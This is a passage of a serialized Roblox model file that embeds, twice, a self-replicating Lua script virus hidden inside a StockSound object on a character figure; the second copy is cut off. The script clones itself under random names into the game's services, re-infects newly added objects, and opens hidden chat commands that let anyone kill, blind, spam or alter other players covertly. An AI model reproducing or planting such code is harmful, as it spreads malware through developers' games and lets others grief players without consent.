							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX605">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">bx0dxhi</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX606">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX607</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX607">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-156.205994</X>
								<Y>5.02179527</Y>
								<Z>5.67982483</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX608">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX609">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">dc6f6</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX610">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">8nly5n</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
